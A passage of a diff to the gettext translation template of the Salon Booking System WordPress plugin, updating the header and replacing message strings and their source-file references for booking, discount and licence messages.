salon-booking-system\n # This file is distributed under the same license as the salon-booking-system package.\n+#, fuzzy\n msgid \"\"\n msgstr \"\"\n \"Project-Id-Version: salon-booking-system\\n\"\n \"MIME-Version: 1.0\\n\"\n \"Content-Type: text\u002Fplain; charset=UTF-8\\n\"\n \"Content-Transfer-Encoding: 8bit\\n\"\n-\"POT-Creation-Date: 2025-11-24 12:10+0000\\n\"\n+\"POT-Creation-Date: 2026-04-12 04:20+0000\\n\"\n \"X-Poedit-Basepath: ..\\n\"\n-\"X-Poedit-KeywordsList: __;_e;_ex:1,2c;_n:1,2;_n_noop:1,2;_nx:1,2,4c;_nx_noop:1,2,3c;_x:1,2c;esc_attr__;esc_attr_e;esc_attr_x:1,2c;esc_html__;esc_html_e;esc_html_x:1,2c\\n\"\n+\"X-Poedit-KeywordsList: __;_e;_ex:1,2c;_n:1,2;_n_noop:1,2;_nx:1,2,4c;_nx_noop:\"\n+\"1,2,3c;_x:1,2c;esc_attr__;esc_attr_e;esc_attr_x:1,2c;esc_html__;esc_html_e;\"\n+\"esc_html_x:1,2c\\n\"\n \"X-Poedit-SearchPath-0: .\\n\"\n \"X-Poedit-SearchPathExcluded-0: *.js\\n\"\n \"X-Poedit-SourceCharset: UTF-8\\n\"\n-\"Plural-Forms: nplurals=2; plural=(n != 1);\\n\"\n+\"Plural-Forms: nplurals=INTEGER; plural=EXPRESSION;\\n\"\n+\"Language: \\n\"\n+\"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\\n\"\n+\"X-Generator: Loco https:\u002F\u002Flocalise.biz\u002F\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_admin_message_text.php:10\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_admin_message_text.php:10\n+msgid \" at \"\n+msgstr \"\"\n \n-#: salon.php:135, views\u002Fmetabox\u002Fservice.php:289, views\u002Fsettings\u002Ftab_checkout.php:369, views\u002Fsettings\u002Ftab_checkout.php:407, views\u002Fsettings\u002Ftab_gcalendar.php:59, build\u002Ftmp\u002Fsalon-booking-system\u002Fsalon.php:135, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsalon.php:135, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:289, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:369, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:407, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:59, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsalon.php:135, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsalon.php:135, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsalon.php:135, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:289, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:369, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:407, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:59, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:289, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:369, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:407, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:59, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:289, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:369, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:407, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:59, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:289, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:369, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:407, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:59\n-msgid \"-\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:249\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:99\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:249\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:99\n+msgid \" can't be empty\"\n msgstr \"\"\n \n-#: salon.php:154, build\u002Ftmp\u002Fsalon-booking-system\u002Fsalon.php:154, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsalon.php:154, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsalon.php:154, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsalon.php:154, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsalon.php:154\n-msgid \"Attention: this is a major release, please make sure to clear your browser cache after the plugin update.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking.php:785\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking.php:785\n+msgid \" hours\"\n msgstr \"\"\n \n-#: views\u002Fcancel_booking.php:14, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fcancel_booking.php:14, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fcancel_booking.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fcancel_booking.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fcancel_booking.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fcancel_booking.php:14\n-msgid \"Salon Booking System - Booking Cancellation\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:25\n+msgid \" needs a valid license\"\n msgstr \"\"\n \n-#: views\u002Fcancel_booking.php:61, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fcancel_booking.php:61, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fcancel_booking.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fcancel_booking.php:60, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fcancel_booking.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fcancel_booking.php:61\n-msgid \"Cancel Booking\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FAbstractTab.php:77\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FAbstractTab.php:77\n+msgid \" settings are reset\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FAbstractTab.php:66\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FAbstractTab.php:66\n+msgid \" settings are updated\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:28\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:28\n+msgid \"%\"\n msgstr \"\"\n \n-#: views\u002Fcancel_booking.php:52, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fcancel_booking.php:52, src\u002FSLN\u002FAction\u002FAjax\u002FCancelBooking.php:46, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fcancel_booking.php:52, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fcancel_booking.php:52, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fcancel_booking.php:52, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fcancel_booking.php:52, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCancelBooking.php:46, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCancelBooking.php:46, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCancelBooking.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCancelBooking.php:46, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCancelBooking.php:46\n-msgid \"Out of time\"\n+#. %1$d will be replaced by the left hours, %2$d will be replaced by the left minutes\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking.php:700\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking.php:700\n+#, php-format\n+msgid \"%1$d hours and %2$d minutes\"\n msgstr \"\"\n \n-#: views\u002Fcancel_booking.php:48, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fcancel_booking.php:48, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fcancel_booking.php:48, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fcancel_booking.php:48, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fcancel_booking.php:48, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fcancel_booking.php:48\n-msgid \"Cancellation is disabled\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSendBulkFeedback.php:209\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSendBulkFeedback.php:209\n+msgid \"%d error occurred.\"\n+msgid_plural \"%d errors occurred.\"\n+msgstr[0] \"\"\n+msgstr[1] \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSendBulkFeedback.php:221\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSendBulkFeedback.php:221\n+msgid \"%d more bookings remain. Click \\\"Send\\\" again to continue.\"\n msgstr \"\"\n \n-#: views\u002Fcancel_booking.php:39, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fcancel_booking.php:39, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fcancel_booking.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fcancel_booking.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fcancel_booking.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fcancel_booking.php:39\n-msgid \"Booking is cancelled\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:364\n+msgid \"%d of %d sites used (%d remaining)\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FPlugin.php:117, src\u002FSLB_API_Mobile\u002FPlugin.php:109, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FPlugin.php:117, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FPlugin.php:109, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FPlugin.php:117, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FPlugin.php:109, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FPlugin.php:116, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FPlugin.php:109, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FPlugin.php:117, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FPlugin.php:109, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FPlugin.php:117, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FPlugin.php:109\n-msgid \"Sorry, you access token incorrect.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FPreviewBulkFeedback.php:65\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FPreviewBulkFeedback.php:65\n+msgid \"%d registered customer(s), %d guest(s)\"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FPlugin.php:124, src\u002FSLB_PWA\u002FPlugin.php:46, src\u002FSLB_API_Mobile\u002FController\u002FAuth_Controller.php:73, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FPlugin.php:124, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FPlugin.php:46, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAuth_Controller.php:73, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FPlugin.php:124, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FPlugin.php:46, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FPlugin.php:124, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FPlugin.php:46, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FPlugin.php:124, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FPlugin.php:46, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FPlugin.php:124, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FPlugin.php:46, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAuth_Controller.php:73, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAuth_Controller.php:73, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAuth_Controller.php:73, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAuth_Controller.php:73\n-msgid \"Sorry, your user role is not allowed.\"\n+#. %s the name of the secondary count\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSecondaryStep.php:32\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSecondaryStep.php:32\n+msgid \"%d service\"\n+msgid_plural \"%d services\"\n+msgstr[0] \"\"\n+msgstr[1] \"\"\n+\n+#. %s will be replaced by the count multiple attendants\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckAttendants.php:99\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckAttendants.php:108\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckAttendants.php:99\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckAttendants.php:108\n+#, php-format\n+msgid \"%s more assistant\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FPlugin.php:530, src\u002FSLB_Discount\u002FPostType\u002FDiscount.php:160, src\u002FSLB_Discount\u002FPostType\u002FDiscount.php:164, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FPlugin.php:530, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:160, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:164, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPlugin.php:530, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FPlugin.php:530, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FPlugin.php:530, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FPlugin.php:530, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:160, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:164, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:160, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:164, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:160, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:164, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:160, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:164\n-msgid \"Discounts\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FMetabox\u002FDiscount.php:45\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FMetabox\u002FDiscount.php:45\n+msgid \"&nbsp\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FPlugin.php:546, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FPlugin.php:546, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPlugin.php:546, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FPlugin.php:546, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FPlugin.php:546, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FPlugin.php:546\n-msgid \"Discounted price\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FCheckoutField.php:64\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FCheckoutField.php:64\n+msgid \"(not editable)\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:24, src\u002FSLN\u002FEnum\u002FBookingStatus.php:102, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:24, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:102, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:24, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:102, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:102, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:102, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:102\n-msgid \"Pending payment\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:568\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:747\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1003\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1023\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:139\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:212\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:250\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:106\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:209\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:234\n+#: 